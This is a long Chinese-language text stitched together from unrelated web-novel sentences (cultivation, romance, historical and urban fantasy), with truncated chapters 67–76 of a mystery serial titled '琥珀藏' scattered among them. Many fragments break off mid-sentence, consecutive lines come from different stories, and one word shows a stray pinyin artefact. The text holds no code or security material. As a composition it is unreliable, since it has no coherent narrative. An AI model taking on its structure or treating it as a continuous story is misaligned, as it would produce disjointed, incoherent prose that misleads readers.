需得体庄重,涵义深远,音韵和谐,情感真诚。勿取轻浮俗艳之名,亦勿拘泥于儒之仁义、释之慈悲、道之清净之表象。 然而即使躲不过,绯鞠手中的安纲也能轻松将迎面袭来的魔力弹丸尽数砍碎。 还有霍望,他天生就应该体弱多病,促尽人间冷暖吗?”霍亦晨没有去看绝烨,他谁都没有看,而是定定的看着月妍的那幢单身公寓说道。 经理当然是乐的做一个好人,毕竟这里还有很多在吃饭的目击者在看着他如何处理这件事的。 普鲁士炮兵在对杜奥蒙堡前方的阵地进行一波洗地后,便延伸火力将炮弹全部倾泻在杜奥蒙堡上,压制杜奥蒙堡发出的炮击,以便步兵发起进攻。 虽然沈有田明面上是家里的顶梁柱,但家里几个孩子都是看着沈老头子,看着他。 但自从进入学院学习,并逐渐锻炼出一身横强肉体后,他发现柯蒂丽亚妈妈的卡片强度开始跟不上自己了。 前世今生,他不止一次告诫过自己,人在世道上混,一定要学得狠一点儿,不然会吃大亏,但他总是做不到。 当下,丝毫不见示弱,直接凝成一道透明色的惊天剑气,矗立于虚空之中。 另一边,那一百多人气势汹汹的往前涌动,就像黑色潮水,密密麻麻。 而每当梦到这里,他这个同学就会绝望的哭着醒来,好长时间不能平静。 叶开道:“他为什么要特地把我们找来?我本来就觉得奇怪。“他语声忽然停顿,因为这时傅红雪也看到了他,眼睛里仿佛结着冰。 很难还可以让蔡旭从中找到什么机遇,只能是作为他自己心中计划的阶段提醒安排和让他更好的了解这个时代进程。 一道刀口从他眉毛间割下来,划过鼻尖。这一刀只要多用三分力,他的头颅无疑也要被削成两半。 林楠将两人的表情收在眼中,心里无奈感叹道,以后尽量不要使用纯阳神体,对异性的杀伤力太大了,不过估计她俩过一段时间就能清醒,意识到并不是真的喜欢林七玄。 “看来他们已经发现了。”看到汹涌而来的汹涌而来的巨大洪流的那一刻,所有被留在了河道北岸的克军营士卒将校心中都明白了那是什么了。 这种无头脑的信息,安好看了一眼便不在意的删除,但是她在改稿子之时,一个八卦弹幕广告也弹了一模一样的消息。 提莫拿着自己的羊角笛,吹了一首流传了千年的精灵族表达爱慕相思的曲子,表达了一下自己的忧伤。 口里辛辣辛辣,似乎有条火线从喉咙而下直入腹中,随之而来的是头晕目眩,张淼脚步不稳,踉跄着靠在叶子姿肩头,口齿不清的嚷嚷着还要喝。 第六十七章 琥珀藏(34) 沈岁见冷萤的头已无力垂下,怕判断失误,便伸出另一只手想探她的鼻息。 就在这千钧一发之际,冷萤左手飞速抬起,将方才趁乱时抓到手心的一把螺钿粉洒了过去。 螺钿粉虽细密,但毕竟是用贝壳这等硬物研磨成的粉状。那些粉末在钻进沈岁的眼睛里面后,便如细沙不停磨着眼眶里的胬肉。 突然受到袭击的沈岁 孟飞本是不羁的人,也豁出去了——的确,一醉解千愁。喝光醉死拉倒,什么烦恼也没有。 原来她有听到,王鹏最后那次摁喇叭的声音,她当时就觉得被挑恤,可是离开了,也不想再回头,现在她想起来了,才会特意给出警告。 不过也让他已经意识到,自己想1天开到C市是多么可笑的话语。虽然对眼前的大车有些畏惧,但叶枫天性里的倔强,还是让他踩下了油门,VTS也听话地将速度迅速攀升。 这个大冰块龙啸,突然对她这样亲昵,贾千千顿时傻眼了,也懵了。 朱天煦笑:“原来真是曹操。得,我也不在这儿当电灯泡了,我走啦。有事再给我电话。”他随手将门带上。 阿牛赶紧拨打叶安流的电话,叶安流是商业大佬,关系网很广泛,他又是叶安阳的亲哥,出了这么大的事情,他有权知道。 “奥,太长时间没回来了,乍一看有点不习惯。”季莫笑着跟上去。 所以米鳞和季莫找到紫贤,也是如此的容易,既然是三王子旅行的聚会,那么紫贤一定会来。 观众们此刻发现,这剧中精彩角色远远不止段誉一人,那乔峰雄姿英发的姿态同样让人感到震撼。 “加紧让大臣们找出证据,然后让寻王爷不能呆在京城里,最好到那里去守边疆”宫漠离暂时还不想要风千寻的命,毕竟他死了对自己一点好处也沒有。 郑荣知道秋仪之的意思,轻轻叹了口气,双眉已经皱成了一团,嘴巴不停翕动着,仿佛是在同自己对话。 “我的父亲,是一名非常非常…非常有名的探险家!对!你没听错,探险家!”说着就向羽乘风展示着脖领处拿出来的水滴形吊坠。 赵敏听到夏流这话,并没有笑,而是眨了眨美目,突然一下子将娇躯凑到了夏流的面前来。 为了一睹芳容,龙玄闭上了双眸,睁开了第三只神眼,射出了开天辟地的光芒。 第三天傍晚,陈若霖正在屋前教长安做一种捕兔子的陷阱,他的手下来了。 石毅呵呵一笑,暗中摧动了斗字秘,同样衍化出了巨大的赤王炉。 赵敏还是那一副娇媚柔人的声音,带着一种能让男人酥到骨子里的语气。 然而,没想到楚清雅却被夏流的动作惊得吓了一跳,倒退了一步。 魔天根本就没有提前预知,他好像天生就知道自己应该这样做。他还知道,这个车轮不能用普通的认主方式认主,而是要通过真身或者二次元婴进入其中。至于这车轮的内部到底有什么,魔天就不知道了。 钺,它是一种古代的兵器,虽具备杀伤力,但是更多的是一些仪卫所用,和使用武器不同。在西方权力象征物是权杖,华夏是钺。在原始社会时期,钺为成年男子的象征。 见到墨七他们冲进来,那些男人有的抱头逃窜,有的从地上捡起长刀,迎上来战斗。 星期天早上补课之前,朵朵逼着林永芳洗了个头,然后她把卷子卷在了林永芳的头上,看上去很像周星驰电影里的包租婆的发型,朵朵差点笑场。 第六十八章 琥珀藏(35) 姜小四整个人身体一僵,冷萤与珊瑚顿觉他神色不对,双双顺着他的目光看向身后。 只一眼,冷萤便有些激动地站起身,惊讶道:“是您?” 这不就是那日自己刚踏进聆音阁时,遇见的那位失去双眼的妇人。 她甚至还怀疑过,当时的自己是不是因为迷药癔症了。方才乍一眼看过去,还以为自己又中了迷药。 重新获得六翅蚊妖,夕阳十分开心,对懒散男子的戒心也稍微放松了一些。 照理说这君子动口不动手,但是这样的一些原则,大家都是成年人了应该都是很清楚的。 “你不想做大侠,日后做个盟主什么的也成。”她有些不耐烦了,管他大侠不大侠,他赶紧走最是要紧。 “你来找我?”没有回教室,反而来操场,想到中午林末的大姐,林末来找他的原因,陆尽心里已经有些清楚了。 他没有想到,夕阳竟然是如此的疯狂,根本没有谈的意思,直接要取他的性命。 只可惜,最后四个字大汉还未来得及说的出口,夜翊他们已经按捺不住,跃出飞舟,直接动手了。 “你怎么保证你没事,张阎就一定能把钱交出来?!”蒋万发依旧是不放心,又问了一句。 顾阡陌这个男人还真不愧是做一个总裁大人做了这么久了,就当是这个李萌一进来便是这般的,满脸像是气冲冲的对着顾阡陌说着这样的一种质问的话的语气的时候。 唐洛洛原本就是这般地十分疑惑的内心在这样的一种时候是这般地变的更加疑惑起来。 白独眼把自己随身携带的一把银质左轮手枪拍在了桌子上,枪口还微微冒着火药的白烟,让人胆寒。 刺隐联盟的高手再强,就算是当初在欧洲过招的那位sss级强者,也不过是将杀人技练到极致的天赋武学者。 听完刀疤的讲诉,杨逸点了点头,又摇了摇头,看到杨逸这副模样,刀疤刚刚有些放松的心神猛地一紧,不知道自己是不是哪里说错了。 两股精神力对抗,虚空没有任何波动,苏依依只看到秦阳面色不变,倒是帝一脸色苍白,嘴角有血迹流了出来。 金圣哲和平次伤得尤为严重,花沐容担当起医生的职务,为两人做紧急手术。 从窗户往下看,是一片灯的海洋,江边的路灯连成一片,像是一条长长的,闪闪发光的绸带,加上星星点点的万家灯火,绘成了一副宏大且温馨的画卷。 如果问心幻境当中的一切都会发生的话,那么在即将到来的大变当中,只有将实力提升到了皇级的程度,才能够保证自己有参与进去的资格。 “不知。”珞影面容清冷,战胜八位竞争者后,脸上没有任何欣喜。 瓦尔离着最近,误以为梅杰想要逃离囚笼便用手中的马鞭回身抽了过去,虽然有着木笼的格挡,但仍然在梅杰的脸颊上留下一道血痕。 找到此物,说不定可以凭其为要胁,令郭怒自行从血腥沼泽内走出。 “够了!难道将朕引到这里來也是田贵妃让你做的?”皇上冷厉的声音似给皇后泼了一盆冰凉的冷水,皇后哑口无言。 “自度力不能制,畏怯不敢出兵,但命诸将严备,自保而已”,同时又向朝廷上表告急,奏称义军六十万,距扬州已不足五十里。 唐门之中也不乏明争暗斗,哪一门都希望自己能新进一些弟子,增加实力,虽然这些都是明摆着得事,修水术进水门,修火术进火门……但是各门之间仍不忘在此时争斗一番,期盼自己这一门能多进些人。 第六十九章 琥珀藏(36) “你真未骗我?” 白银珠不可置信地摇摇头,似乎从未想过这位曾经的好友,自己后来恨得牙痒痒的女人,会为她做到这种地步。 阿怜立刻伸出右手,斩钉截铁道:“阿怜发誓,以上的话如有作假,必天……” 她的话还未说完,便被白银珠拦下。 “我记得,那日明明是她叫我去寻她的,结果我一进到她家 “你这什么神情,让我感觉有诈。”方子叶说着往后退了两步,想着,不能吧!他应该不会那么对自己才对。 乔乞一手搭在简芊芊身后的沙发靠上,一边目光定定的看着她,微抿着唇角,并没有急着表态。 看着周围无数的行人,大家脸上都洋溢着喜庆,欢声笑语不绝于耳,从美国各地、其他国家特地赶来的游客更是玩得开心。 看到陈盼儿的手握在白罡的手中,闫珍珍的脸上的笑容渐渐的褪去,眉头也微微的蹙了起来。 “没事,我用银针,将你的腋下的顶浆汗腺彻底剥除,这样便可以杜绝狐臭,不过以后,可能会对你造成一定影响,毕竟人体的每个汗腺,都是有作用的。”林奇认真道。 万道一的神色瞬间阴沉下来,这是最坏的打算,也是万道一最不想看到的情况了。 听到门关上了,慕凌雪才扯好亵衣窝进被子里,早就知道这个男人半夜进房的德行,就该早做准备才行,还是她太过大意了。 想到这些,他才装作不知道董氏下药的事情,转而相信她说的话是真的也是真病。 下一刻,屋内再度安静了下来。于是,尤显得屋外那一道道的鞭子声清晰刺耳。 这一刻,云止不得不受花千色的威胁。可是,没有人知道,她心里究竟有多希望宫宸戋不要相信。 夏沐虽然对禁制不甚了解,但却也识得这些禁制的品级,最差的也有先天中品,其中更是不乏达到先天极品的禁制。 泽斯重重坐到椅子上,手支着额头闭上眼清理着自己零乱的思绪。 而那些随从却能够在御主召唤他们的时候吸收能量卡上的能量,这个能量对另外一个世界的他们来说十分的珍贵,会给他们带来很大的帮助。 九儿点点头便也没多问,转眼却见沙发上有一件陌生的外套,不禁挑眉看向明轩。 白懒懒,白懒懒,难道是那家的公主,怪不得可以弄出这么大的阵势,如果他没有猜错的话,这一切都好解释了。 苏沫分身乏术,心下焦急,就见薛柔身形一动,光系幻化而出的利刃直击钟离面门,被一道无形屏障所遮挡,落入眼中的身影令她既爱又恨。 众人在前面只听到一声声惨叫,急忙回头去看,但是后方只留下一些血迹,除此之外再无其他,树林里鸟雀无声,如此的安静反倒让人心里莫名的惊慌了起來,先前的镇定被打乱了。 这个幸运值每次抽卡将增加一点,幸运值越高抽到好卡的概率越高,不过当周的幸运值在下一周就只剩下十分之一了。当他们抽到金卡后这个幸运值就会清空。 “只是水家在个海市如此费力,究竟有什么目的呢?”楚原感觉自己脑中各种念头纷至沓来,一时之间,竟然无法理清。 “这股战意,比之半年前更为浓郁了,星寒究竟经历了什么?”苏剑眉头微皱,他对战意的感知明显敏感了不少。尤其是战意之中所蕴含的心境,经历了这半年洗礼,他感受尤为深刻。 第七十章 琥珀藏(37) “方骅他怎么了?”冷萤急切问道。 陈全看了眼冷萤身后的几人,有些犹豫道:“不如冷小姐与珊瑚小姐先同在下过去,路上细讲。” 知他谨慎,冷萤毫不犹豫地点点头,回身朝白银珠与姜小四说明情况,便与珊瑚一同离开了聆音阁。 “喂,你们先放我下来啊,这蜘蛛丝怎么弄断啊……要死啦!”周娘子眼睁睁地 “这东西是我华夏重宝,贫僧是过来取的,你们才是过来抢。”空苍禅师又道。 不过,她能够看得出来,对方那种眼神,像是看到了美妙的艺术品,又像是很多巫师看到了实验品一样的眼神,但其中并没有雄性对于雌性的欲望。 几几拼命摇头,仿佛在说,没事没事,其实我和它压根就不认识。 露出了三道无比深的沟壑,泥土翻了出来,地下水翻涌而出,汩汩的流了出来。 只要她想,空间里有那么多好吃的,找一个借口,比如上厕所什么的,下了车离开鲁慎宁身边,她就可以随便吃喝。 要不是他家老爷子有事情绊着,今天一早一定就跟他一起过来了。 “对对对,童童妈说的没错,那个仙姑庙里的仙姑真的很灵,弄的我都想拜拜了,不知道能不能跟仙姑结缘,赏赐一点儿圣水。”王梅的父亲也跟着随声附和道。 听着好事者口中滔滔不绝的讲述,底层百姓虽然有所怀疑,但他们讲的细节都太多了,比如奴酋岳托的凶恶嘴脸,死了还怒目圆睁,仿佛要吃人一般,底层的民众都渐渐相信了。 “呵,莫修桑,不是我说,苏杭军区的机器人除了坚固性值得一提之外,其他的各项性能都是比不过我这些机甲的。”莱姆城主摊了摊手,对于苏杭军区的机甲并不是太看好。 鉴于此,暴怒之下的凤姨,一心护主,展现出了十二分的力量出来,一动手便将那阿布汗给牵制住了,而且是处于上风的那种。 “我已经很久没有回去了,筱雨你还有什么事吗?如果没事,我就带你一起回去吧。”子夜问。 帝国准备讨魔,这如何不让他们兴奋,作为军人,只有战功才是一切,有了战功,才可以升职,才可以得到更多气运,才可以修为更进一步。 而这时,白云鹤突然拿出一把长剑,而后脚踩飞剑缓缓离开甲板,朝山峰飞了过去。 虽然北冥长风的实力还远远达不到他的要求,但是资质却还不错,只要好好调教的话,未来的成就也不会差。而他身上最难能可贵的一点则是,他对久久的一片真心。 两人坐了一会儿,凌卿城起身去厨房查看情况,简北淳正在认真的配菜。 一天训练结束,我都会绕远去遛马,并在草丛里先把自己身上的伤处理一下,伤口少,就证明我有进步,父亲便会认可我。 这么烈的酒,贺辰逸一般是不喝的,但是看到宋天佑都一口闷了,贺辰逸也不敢含糊,只能硬着头皮把这入口柔软顺滑,但是咽下去之后,瞬间又浓烈似火的伏特加给一饮而尽。 杨虎成甚至将军粮都拿出来,却依旧不够用。前段时间,又找秦朗预支了5000吨玉米,条件是张掖的工厂能在陕安等地招募百姓。 他只觉得对面子夜像是一个无底洞,不仅将输送去的电力全部吞噬,甚至还生出一股强大的吸力,向他不停索要着雷电。 第七十一章 琥珀藏(38) 她眼睁睁地看着,两人脚下的地面自屏风处开始齐齐下陷…… “冷姐姐!”珊瑚抓紧她,声音不稳道:“我怎么觉得那座屏风在变高?” 冷萤心如死灰地回道:“傻姑娘,不是屏风在变高,是我们在变矮。” 整个地面下陷的速度并不快,但也不足以让她们立刻反应过来爬上去。想叫陈全几人进来,似乎也是不可能 “你们不放会我出去的是吗?”何雨落声音平静,似乎已经彻底冷静下来了。 林涛并不想复出,但是进门之前林海军给他打过电话,他们已经说情说到他那里。 颜轻羽本来要站稳了,被穆云琉长臂一带,反而脚下失了准心,被动的撞在穆云琉的胸膛上。 算了,他还是先找个地方窝着吧,说不定诞什么时候心情好,就会把他放了。 早上他是被饿醒的,吃了老妈做的早饭后,打算出门打篮球去,结果发现过去了几十年,自己衣柜里的衣服早都过时了,便打算出门买几件新衣服。 但现在秦真既然已经给她们指出了另外的一条明路,那么,她们就不必再在这里,麻烦秦真了。 嬴政整天想要长生不老,死了都千年了,估计早已研究出可以延长寿命的药了吧,今天还看见他院子里有炼丹炉一样的东西。 如此这般,众人之间互相光望着,一时场面有些诡异,而时间也是在不知不觉之中过去。 “可是她迟迟不肯现身,不会是对你有所怀疑了吧?”绿游担忧地说道。 “不行,你的伤口在裂开的话会留伤疤的。”奥尔急忙道,说完还瞪了一眼一脸无辜的白羽一眼。 只是知道,百年之后,若是自己不能够成功,便只有囫囵身死,冲入轮回,颠沛再来。 刚才是林烨的舌头在徐卿的嘴里横冲直撞,可现在林烨明明都已经退兵了,徐卿却乘胜追击了上来。 郁闷的林烨正打算飞回去把叶老头抓过来带路的时候,却是看到一辆豪华的劳斯莱斯轿车从面前呼啸而过。 袁湶有些不知所措的笑了一下,把纸片放在桌子上,准备离开办公室。 光翼之中,绽放出来璀璨的光芒,随后那白光延伸出去,化作一个巨大的场域,将宙域之中,那个坍缩的宙域黑洞笼罩了起来。 伴随着苍老的声音响起,白茫茫的光芒之中,一道道诸子先圣身影出手,从他们身上升起的白光竟然化作一道道利剑。 虽然这个世界的“网络”没有地球那么方便,可是这种大新闻一旦发生肯定所有人都会知道的。 两人分别时间不长,但这一次团聚后似乎比以往更加的迷恋对方,从而迸发出比以往更加炽热的情感,昨天的缠绵更是倾尽全部精力投入进来。 原本结实额地板上取而代之的是一个深坑,段飞和另一个学员早已被爆到远处不知死活了。 她说的一番话,没有故意看不起林玄的意思,因为在她心里,根本无视了林玄,一个穷学生,还不被她放在眼里。 金鞭乃是天龙寺戒律“寂灭金光”所化,天性至阳至刚,正好克制阴邪恶毒的魔气,老魔与之相触,怎能不受伤。 “江南林大师?我听说这个林大师,传说其是江南省地下世界的龙头,拥有神通术法之力,可以操纵火焰,隔空杀人。 乔辰安暗暗称奇,或许是在阴神状态下,各种情绪都被淡化的缘故,他并不感到害怕。心道还好伍秋月是自缢而死,脖子处只是有几缕红痕罢了,她若是一副缺胳膊少腿的模样,自己会不会来仍未可知。 第七十二章 琥珀藏(39) 黑暗的山洞,萤石持续散发着微弱的光。 方骅抬头看着那一块块或大或小,被挂在洞壁上,横躺竖立着的树脂。 将自己那日在聆音阁中被迷晕,接着被尾随在后的张志带回府后,所发生的事情细细与她们讲来。 待他讲至,在张志家中发现黄二斤与刘百两尸体时,冷萤有些迷糊了:“所以,是张志亲手杀了黄二斤与 可他追不上,不代表岩臻兄弟也追不上,木jīng兽族高手在天空飞翔的速度,比之食岩兽来似乎差了一点,而若是落到地面上的话,更加不如土系的食岩兽。 电子屏幕再次变换,停下时,出现的是鹿丸vs剑三隅这几个字。 南京朝天宫相传最初为吴王夫差所筑,历经晋唐宋元,到了明初又再作修缮,乃是金陵地面最富盛名的道观,向来就是大朝或祭祀时百官习礼仪的场所。这会儿张越和章旭在那高大巍峨的东向山门前停下车,旋即便步行入内。 听到宁毛毛这么说,陈雨柠觉得她其实就是自己最好的传话筒。有什么问题毛毛一说,就能解决了。每一次她都能猜到自己心里想的,这样便省的滕翰这个大笨蛋猜了。 所以李兵梁最终没有那么做,但自从滕翰出现后,他的想法变得不一样了。他开始关注滕翰,不仅在论坛中,在上次的拍卖中,还有陷害刘鹏的哪件事当中。他发现滕翰不仅是个修炼天才,还是个头脑灵活,思路清晰的家伙。 双方主力此刻彼此的距离15公里,深海轻母的位置也没有多远。 苍白的脸色,无法呼吸的胸口,就好像有什么压在自己一般,如果不是强忍着鲜血,恐怕早已经吐血而出了。 未婚夫!!!——当滕翰听到尔东祥雪说自己是她的未婚夫的时候,他忽然觉得很尴尬。因为自己毕竟才十九岁,就被人称作是未婚夫,很是有点不适应。 众人看着凌天这副样子,顷刻间他的身份就变成了一个很爱自己妹妹的好哥哥。 他这么说话,表面上看是说给范洽和金明哲以及杜璇,但实际上更多的是说给滕翰听,让他知道知道自己现在混得很好,甚至是班里最好的。 但是,随着火焰的蔓延,主殿是绝对要被烧毁的。而且火势会造成整个上层的坍塌,那也将意味着主殿之内的所有人都是没法活命的。留给众人的时间很短,绝大部分人已经认为没有活命的可能了。 “所以,他讲了很多话,感动了你”,慕容倾苒突然开口,言语间冷漠之极。 众人看着前方飞奔的桃宝,相互对视一眼,嘴角露出嘲讽的笑意。 蕙兰:懒人说懒话,十足的懒汉。旧的不去新的不来,五个纱窗全都换了。 林觉就要走到船厅出口的厚厚帘幕旁时,忽然间他听到了一个熟悉之极的笑声。 瑾瑜:电器又不贵,买新的划算。等着人家修理,耽误了我写帖,有些得不偿失。 说着,Tina和老二便提了装备也不等林坤答应就直接去探路了。县城基本上就在山区的腹地,已经是浙北地区少数几个贫困地区。 “有好几个,我自己也打牌,不过玩的不大。”那个汉子更加惶恐地说道。 南宫楚只要不是倒霉被那重型武器围攻,就好像今天一样,他根本无所畏惧。龙组之中,也只有少数几个修炼奇功的老家伙可能对他造成威胁,其他的人?呵呵……即便是凌霄云也不过与他半斤八两罢了。 第七十三章 琥珀藏(40) 见她纠结,方骅也不再卖关子:“因为张志的老家在南县,你们知道南县盛产什么吗?” 语毕,就见两双迷茫的眼睛同时看向他。 “……” “黄腊。”他说出正确答案。 珊瑚一听气不打一处来,“那肯定就是这个张志了!难怪那日刘百两说起房梁上有人,他的表情很是奇怪。” 见她后见之明,方 只见那赛道上,一位风一般的红衣男子,居然以闪电般的速度不断拉近与前面运动员的距离。 玉藻大概是听懂了蔡攸的话,焦急的看向姜德,她虽然知道赵佶的身份,但却完全不想做什么妃子,要是想做妃子的话,在倭国她就可以进宫了。 大凉一十三州稳固发展,韩凉又命横海大将军甘述出海赴夷州,在此处建立州府,将其收复为大凉国土。 典韦说道:“老仙翁,你说的那个叫元放的人何时回来?”众将也是颇为关注这个问题,都用目光注视着玉乙子。 他向前走了几步,停了下来,面前是深不见底的悬崖,寒风吹动黑袍。 “陌桑,你那张嘴还是一如既往的让人生厌,你少说两句,没人会当你是哑巴。”夏华逸面色微沉,冷声道。 不少高阶海族不信邪的游离于曾经昆山岛的海域,放出神念,四处探寻,并没有发现什么异样,就跟明玉海其它的地方一样。 尽管之前大家就有猜测,楚风很有可能会得到世界冠军,会再一次打破世界纪录。 宇宙洪荒,天地玄黄,大道具有诸多变数,世间也拥有众多法则。 “怎么样了?”看见展昭,赵祯猛然之间站了起来问道,那眼神之中的急切是显而易见的。 黑圣白仿佛是十分厌恶金鹏一族,金鹏与龙族一样乃是上古时期的强大妖族领主,但与龙族不同的是金鹏族留存了下来。 而在不久的将来,出现在自己家里的另外一个男人,也终于成为了压倒骆驼的最后一根稻草。 考虑到末世持续的时间将会很长,这些高能量又不占用过多空间的食物自然是首选。 “没想到你狡辩的能力还是如此一流,真的没有辜负我对你的认识。”秦黔南有点庆幸自己早做准备手头还有一些事情做,这样的话,即使他在这里耽误再多的时间,也是可以勉强接受的。 时间一直到了晚上,本来躺在桌子上睡得咕噜咕噜的阿白突然醒来,盯着一个方向发出低沉的威胁声。 一面,又庆幸自己带足了人手,没让监行司的人插一脚,事情还算可控。 “可我总该跟他说一声,不然他会担心的。”秦蓁眉头轻轻颦起。 一切已经结束,铁算仙紧绷的神经放松下来,连握着长幡的手都松了很多。 村里人还说,这些法师身上都有神通,能看见鬼,也能够超度亡魂,还可以将天上的神仙请下来。 打磨淬炼金丹,是一个极其耗费时间和资源的过程,尤其是他还修炼了九转金丹诀,相当于要凝聚九个金丹,完全急不得。 在场的众人皆是愣住了,犹自不敢相信,眼前这个身形清瘦的少年,不但接住了李孟的拳头,还将他的拳头给捏碎了去。 越往盗洞深处走,地上散落的弹壳越多!而且,在黑暗的角落里,我还发现了几具死尸!这些死尸,身上的皮肉早已经腐烂殆尽,只剩下一摊白骨。 第七十四章 琥珀藏(41) 东南角方向传来的异响越来越大,三人警惕地看向同一处。 巨大的声响,伴随着沉重的石壁门缓缓打开,有一行人自石门后方走出。 “那里居然有个门?”珊瑚彻底震惊了。 冷萤也是吃了一惊,如果不是里面陆陆续续走出几个人,她无论如何也看不出那浑然天成的洞壁里,竟内有乾坤。 他们真是……好大 她刚准备跟唐洛打招呼,就见姐姐从厨房里端着早餐,放在餐桌上。 “我以为你会继续骂我是乱臣贼子呢。”宋立有些意外圣皇的表现,笑说道。 偏偏又是好巧不巧盏茶的功夫后,黄姑娘也路过此处,见湖光优美,加上近两日又因那日黑店的事情心情有些抑郁,当真是酒不离手,此时竟醉醺醺跑来湖边如厕。 宋琏志被那紫色焰火一抹却是脸色变得惨白,身形凝在当地动也不动一下。过了片刻那宋琏志仿佛丢了魂似得一屁股便跌坐到了地上,哀叹一声,无奈的对龙琰柔抱了抱拳认输下场去了。 说到最后,锐雯玉指一挥,那一瓶钢铁合剂酒化为一道细流融入到林宇的口中。 刚刚说完那些话后,两人静坐了一会,就都躺下了,并且各自都睡得很是安分,就像是楚河汉界似的,谁也不侵犯谁。 “哥哥,药敷在伤口上,可能会比较疼,你忍一下,伤口适应以后,就不会疼了!”在往我伤口上敷药之前,端木云雪细心的冲我提醒道。 虽然说因为蛊毒实力下降,可是上位者的余威怎是普通人能无视的? 在接下来的一段时间内林宇并没有受到任何折磨,似乎史密斯家族有意的先让林宇放松下来。 结婚的典礼上,新郎对新娘说出这么一句话来,不管出于什么原因,都奇怪的很。 出乎夜慕白的意料,雪遥夏竟是甩开了他,头也不回的往前走去。 他们依旧是搬掉了边路最为强势的关羽,丝毫不敢放给冷锋,他们太了解了。 就在雪遥夏努力想要忘掉昨晚的疯狂时,夜慕白微微睁开了眼眸。 说这些话的时候,洛溪的表情从始至终都没有任何变化,就仿佛是个没有感情的杀手一般。 “你竟敢质疑我的能力?”络腮胡大叔的脸上哪里还有之前的讨好模样,一脸怒气地牵扯着嘴角。 墨清言身上自然而然的散发出一种凛然不可侵犯的圣洁气质,哪怕他只是随意坐在椅子上,用单手撑着俊脸,依然是这般令人不敢冒犯。 这糟老头子坏得很,为了超越墨清言的至高威望,竟然主动跟魔界联系,制造污染区,把魔物给放进来。 心里非常的不踏实,看向那宅子的时候,眼皮子微微的抽动着,非常的不安。 倪萱见状,跑回卧室帮他取出烟灰缸,三人围聚一堂,谁也没有做第一个开口说话的人。 先前,火貂通过天眼已告诉了雪遥夏这个事实,但没有找出把她送到异界的幕后黑手是谁。 曹郁森是让面具人等先走,他随后才走的,虽然不知他这么安排是有何用意,可钱哥还是吩咐打史尔按曹郁森所说的去办了。 捡到失物该不该归还,该不该索要感谢费,在律法上却没有明确的规定,只是能者见人,智者见智了。 四人在玄机宫盘桓了两日,然后告辞下山,到了复明会的腾冲分舵,经魏重山引见,朱相如三人与分舵中人见了面,腾冲分舵的舵主苗再兴早接到了总舵主魏醒龙的信件,知道少主要来,于十几天前便准备好一切恭候。 第七十五章 琥珀藏(42) “知县大人,您让我说什么啊?”他是万万没想到,他敬爱的知县大人眼神转了一圈,最终还是落到了自己身上。 “还能说什么?”在他面前,华林玉算是找回了一些场子,冷声开口道:“山洞里这些吓人的东西,到底是什么?” “是……”张志一直低垂的双眼,慢慢抬起不解地看了华林玉一眼,见对方怒目看着自己,他 钟自羽嫌弃的挥开他的手,低眉瞧了眼地上的国师,国师已经坐起来了,捡起那张手绘图,正在拍上面的灰。 柳蔚一脸懵然,几乎是被硬塞进车厢,甚至马车行驶后,她还来不及回头喊一声容棱。 雷破云此刻也是缓缓的走到了跟前,他看着雷光忠和林易也是冷笑一声道。 “这意思就说只要这家伙叫价了,那就没有人敢叫了?”林易皱眉问道。 是刚才死的那十个货留下的宝物,被江白随手捡起来,直接丢了出来,稍微加持,当场灭杀不朽。 烛影憧憧中,叶丰终于豁然睁开了眼睛,吓得夏夫人浑身一抖,差点晕了过去。 这条路,不是容矜東自己选的,有人替他选了,他踏上去了,已经没有回头路了。 菩提老祖也是提醒道,毕竟路要一步步的走,饭要一口口的吃不是吗? 然后,柳蔚慢慢抽回了自己的手,目光流转,最后把视线定格在师父身上。 就是说,他是容都尉的下属,那么他在这里,果然,容都尉也在这里。 听到白枫的话,两只超梦立刻心领神会,它们同时伸手指向怪物,双眸中光芒闪烁。 照片里确实有两个戴着帽子、身形跟监控里男人相似的人跟她出现在同一便利店。 走出行政楼,林克脸上的笑容渐渐收敛,只觉后背与上次一样,汗湿一片。 几个骨干里,只有刘洪是因为欠他高利贷才帮他干黑活的,从此一黑到底。 上次李观玄前往墨州,便是利用传送阵去到了永宁仙城的外城,然后偷偷摸摸的离开,这才没有引起任何人的注意。 银烛枝实力不强,但有一手炼制煞气星辰的绝活,寻常大罗抵抗不了。 这些来自不同国家的帝境强者之间,不可能存在这种信任,也就根本联合不起来。 虚神凝聚成功,接下来是与天地相融,神魂调动影响范围内的天地灵气。 卡梅洛·莫兰显然是有备而来,明显已经和自己麾下的团队讨论过。 但是,那片混沌世界毁灭,祂现在估计也是凶多吉少,这倒是让叶阳觉得最可惜之处。 而这个动作被其他的欅坂成员看到后,心情一动,眼睛里也有些生起了水气的感觉。 “去去去,这里不是你能来的地方。”看到叶天一一副信步闲庭的模样,保安的脸上不由得露出嫌弃的表情,他们互相看了一眼,直接上前想要将他驱离此地。 “梧桐……”自言自语着,闭上眼,八品神通运转,体术与修真的功法有着沟通花草树木的能力,不过两息时间,便点点头,带着叶菲从右后方走去。 似乎也是意识到了自己过于急切,它低下头想了好一会儿,才慢慢诉说起自己的故事来。 “等过段时间再补回来吧,反正也就不到一个月的时间了。”近卫龙越摇摇头说道。 “你好,你就是陆彦陆先生吧,我是姥爷家的管事,是特意来接你回去的。”管事微笑着说道。 第七十六章 琥珀藏(43) “陈全听见了会不会罢工?”珊瑚问冷萤。 冷萤微眨眼,想起陈全这个憨憨每次都将方骅怼到无话可说,淡淡一笑未说话,算是帮方骅保全了面子。 “知县大人,他真的在冤枉我。我好歹跟了您好几年,您难道就一点不信我?”张志见在方骅那里占不到半分便宜,开始示弱想要得到华林玉的同情。 ”我倒是因为信 见陆唯朝这边看来,立刻躲在树干后面,陆唯根本没有合适的射击角度。 反正在他看来,学生的本职工作终究是学习,还是不宜太过高调亮眼。 多个直播机位聚焦在面无表情地从座位上起身缓步走上舞台的沈倦身上。 看得出来,对方下手超级狠毒,且用的兵器,是那种带着污渍和倒刺的。 徐峰从储物戒指里取出一枚散发着清香的圆润丹药,将其认了出来。 萧清云用一破布接着,见着源源不断从鸟嘴里掉出来的蛇胆,她暗叹里面的蛇是真多。 台上,沈倦依然在唱着已经背好的歌词,或者说纯粹在发泄自己的情绪。 李长歌没什么触动,表情一如既往的冷漠,看的安心霖有些略微的心疼。 陵轻舟把手放到了他的手心,跟随他的脚步,优雅端庄地朝台上走去。 话说回来,自己当初从陈长风手中要来了王珂,是非常正确的选择。 众人的疑惑浮现心中,却无一人得知楚星寒在做什么,如果真要说知道的话,那就只有远处的一道身影,一道静坐在轮椅的身影。 “一面之缘,不一定能感觉到的。”钱隽心说,见你第一次,我也只是好奇,根本没想到娶你,谁想好奇害死猫,让你把我牢牢地套住了。 